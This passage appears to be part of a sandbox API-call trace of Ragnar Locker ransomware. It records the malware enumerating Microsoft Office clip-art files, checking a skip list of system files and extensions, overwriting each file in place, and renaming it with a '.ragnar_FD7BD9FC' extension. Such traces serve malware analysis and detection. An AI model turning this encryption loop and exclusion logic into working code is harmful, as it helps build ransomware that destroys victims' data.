lpOverlapped=0x0) returned 1 [0082.222] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x380, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.222] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.222] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x380, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.222] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.222] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.222] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.222] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.222] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.222] GetProcessHeap () returned 0x580000 [0082.222] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.222] CloseHandle (hObject=0xf4) returned 1 [0082.222] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" [0082.222] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF.ragnar_FD7BD9FC" [0082.222] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.223] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4dd7200, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4dd7200, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00586_.WMF", cAlternateFileName="")) returned 1 [0082.223] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.223] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD00586_.WMF" | out: lpString1="FD00586_.WMF") returned="FD00586_.WMF" [0082.223] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned=".WMF" [0082.223] lstrcmpiW (lpString1="FD00586_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.223] lstrcmpiW (lpString1="FD00586_.WMF", lpString2="autorun.inf") returned 1 [0082.223] lstrcmpiW (lpString1="FD00586_.WMF", lpString2="boot.ini") returned 1 [0082.223] lstrcmpiW (lpString1="FD00586_.WMF", lpString2="bootfont.bin") returned 1 [0082.223] lstrcmpiW (lpString1="FD00586_.WMF", lpString2="bootsect.bak") returned 1 [0082.223] lstrcmpiW (lpString1="FD00586_.WMF", lpString2="bootmgr") returned 1 [0082.223] lstrcmpiW (lpString1="FD00586_.WMF", lpString2="bootmgr.efi") returned 1 [0082.223] lstrcmpiW (lpString1="FD00586_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.223] lstrcmpiW (lpString1="FD00586_.WMF", lpString2="desktop.ini") returned 1 [0082.223] lstrcmpiW (lpString1="FD00586_.WMF", lpString2="iconcache.db") returned -1 [0082.223] lstrcmpiW (lpString1="FD00586_.WMF", lpString2="ntldr") returned -1 [0082.223] lstrcmpiW (lpString1="FD00586_.WMF", lpString2="ntuser.dat") returned -1 [0082.223] lstrcmpiW (lpString1="FD00586_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.223] lstrcmpiW (lpString1="FD00586_.WMF", lpString2="ntuser.ini") returned -1 [0082.223] lstrcmpiW (lpString1="FD00586_.WMF", lpString2="thumbs.db") returned -1 [0082.223] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.223] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.223] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.223] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.224] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.224] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.224] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.224] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf")) returned 0x20 [0082.224] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.224] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=752) returned 1 [0082.224] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2e7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.224] GetProcessHeap () returned 0x580000 [0082.224] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.224] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.225] VirtualAlloc (lpAddress=0x0, dwSize=0x2f0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.226] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.226] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.226] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2f0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2f0, lpOverlapped=0x0) returned 1 [0082.226] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.226] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.226] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2f0, lpOverlapped=0x0) returned 1 [0082.226] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2f0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.226] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.226] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2f0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.226] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.226] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.226] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.226] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.227] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.227] GetProcessHeap () returned 0x580000 [0082.227] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.227] CloseHandle (hObject=0xf4) returned 1 [0082.227] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" [0082.227] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF.ragnar_FD7BD9FC" [0082.227] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.227] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbef0a100, ftCreationTime.dwHighDateTime=0x1bd4b36, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbef0a100, ftLastWriteTime.dwHighDateTime=0x1bd4b36, nFileSizeHigh=0x0, nFileSizeLow=0x2b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00775_.WMF", cAlternateFileName="")) returned 1 [0082.227] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.227] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD00775_.WMF" | out: lpString1="FD00775_.WMF") returned="FD00775_.WMF" [0082.227] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned=".WMF" [0082.227] lstrcmpiW (lpString1="FD00775_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.227] lstrcmpiW (lpString1="FD00775_.WMF", lpString2="autorun.inf") returned 1 [0082.227] lstrcmpiW (lpString1="FD00775_.WMF", lpString2="boot.ini") returned 1 [0082.227] lstrcmpiW (lpString1="FD00775_.WMF", lpString2="bootfont.bin") returned 1 [0082.227] lstrcmpiW (lpString1="FD00775_.WMF", lpString2="bootsect.bak") returned 1 [0082.228] lstrcmpiW (lpString1="FD00775_.WMF", lpString2="bootmgr") returned 1 [0082.228] lstrcmpiW (lpString1="FD00775_.WMF", lpString2="bootmgr.efi") returned 1 [0082.228] lstrcmpiW (lpString1="FD00775_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.228] lstrcmpiW (lpString1="FD00775_.WMF", lpString2="desktop.ini") returned 1 [0082.228] lstrcmpiW (lpString1="FD00775_.WMF", lpString2="iconcache.db") returned -1 [0082.228] lstrcmpiW (lpString1="FD00775_.WMF", lpString2="ntldr") returned -1 [0082.228] lstrcmpiW (lpString1="FD00775_.WMF", lpString2="ntuser.dat") returned -1 [0082.228] lstrcmpiW (lpString1="FD00775_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.228] lstrcmpiW (lpString1="FD00775_.WMF", lpString2="ntuser.ini") returned -1 [0082.228] lstrcmpiW (lpString1="FD00775_.WMF", lpString2="thumbs.db") returned -1 [0082.228] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.228] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.228] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.228] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.228] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.228] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.228] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.228] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf")) returned 0x20 [0082.228] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.228] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=11152) returned 1 [0082.228] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2b87, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.228] GetProcessHeap () returned 0x580000 [0082.228] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.228] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.230] VirtualAlloc (lpAddress=0x0, dwSize=0x2b90, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.230] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.230] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.230] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2b90, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2b90, lpOverlapped=0x0) returned 1 [0082.231] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.231] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2b90, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.231] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2b90, lpOverlapped=0x0) returned 1 [0082.231] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2b90, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.231] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.232] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2b90, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.232] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.232] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.232] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.232] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.232] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.232] GetProcessHeap () returned 0x580000 [0082.232] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.232] CloseHandle (hObject=0xf4) returned 1 [0082.232] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" [0082.232] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF.ragnar_FD7BD9FC" [0082.232] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.233] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2364900, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2364900, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x2332, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00779_.WMF", cAlternateFileName="")) returned 1 [0082.233] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.233] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD00779_.WMF" | out: lpString1="FD00779_.WMF") returned="FD00779_.WMF" [0082.233] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned=".WMF" [0082.233] lstrcmpiW (lpString1="FD00779_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.233] lstrcmpiW (lpString1="FD00779_.WMF", lpString2="autorun.inf") returned 1 [0082.233] lstrcmpiW (lpString1="FD00779_.WMF", lpString2="boot.ini") returned 1 [0082.233] lstrcmpiW (lpString1="FD00779_.WMF", lpString2="bootfont.bin") returned 1 [0082.233] lstrcmpiW (lpString1="FD00779_.WMF", lpString2="bootsect.bak") returned 1 [0082.233] lstrcmpiW (lpString1="FD00779_.WMF", lpString2="bootmgr") returned 1 [0082.233] lstrcmpiW (lpString1="FD00779_.WMF", lpString2="bootmgr.efi") returned 1 [0082.233] lstrcmpiW (lpString1="FD00779_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.233] lstrcmpiW (lpString1="FD00779_.WMF", lpString2="desktop.ini") returned 1 [0082.233] lstrcmpiW (lpString1="FD00779_.WMF", lpString2="iconcache.db") returned -1 [0082.233] lstrcmpiW (lpString1="FD00779_.WMF", lpString2="ntldr") returned -1 [0082.233] lstrcmpiW (lpString1="FD00779_.WMF", lpString2="ntuser.dat") returned -1 [0082.233] lstrcmpiW (lpString1="FD00779_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.233] lstrcmpiW (lpString1="FD00779_.WMF", lpString2="ntuser.ini") returned -1 [0082.233] lstrcmpiW (lpString1="FD00779_.WMF", lpString2="thumbs.db") returned -1 [0082.233] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.233] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.233] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.233] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.233] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.233] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.233] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf")) returned 0x20 [0082.234] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.235] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9010) returned 1 [0082.235] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2329, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.235] GetProcessHeap () returned 0x580000 [0082.235] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.235] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.236] VirtualAlloc (lpAddress=0x0, dwSize=0x2332, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.236] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.236] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.236] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2332, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2332, lpOverlapped=0x0) returned 1 [0082.237] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.237] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2332, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.238] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2332, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2332, lpOverlapped=0x0) returned 1 [0082.238] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2332, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.238] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.238] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2332, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.238] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.238] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, 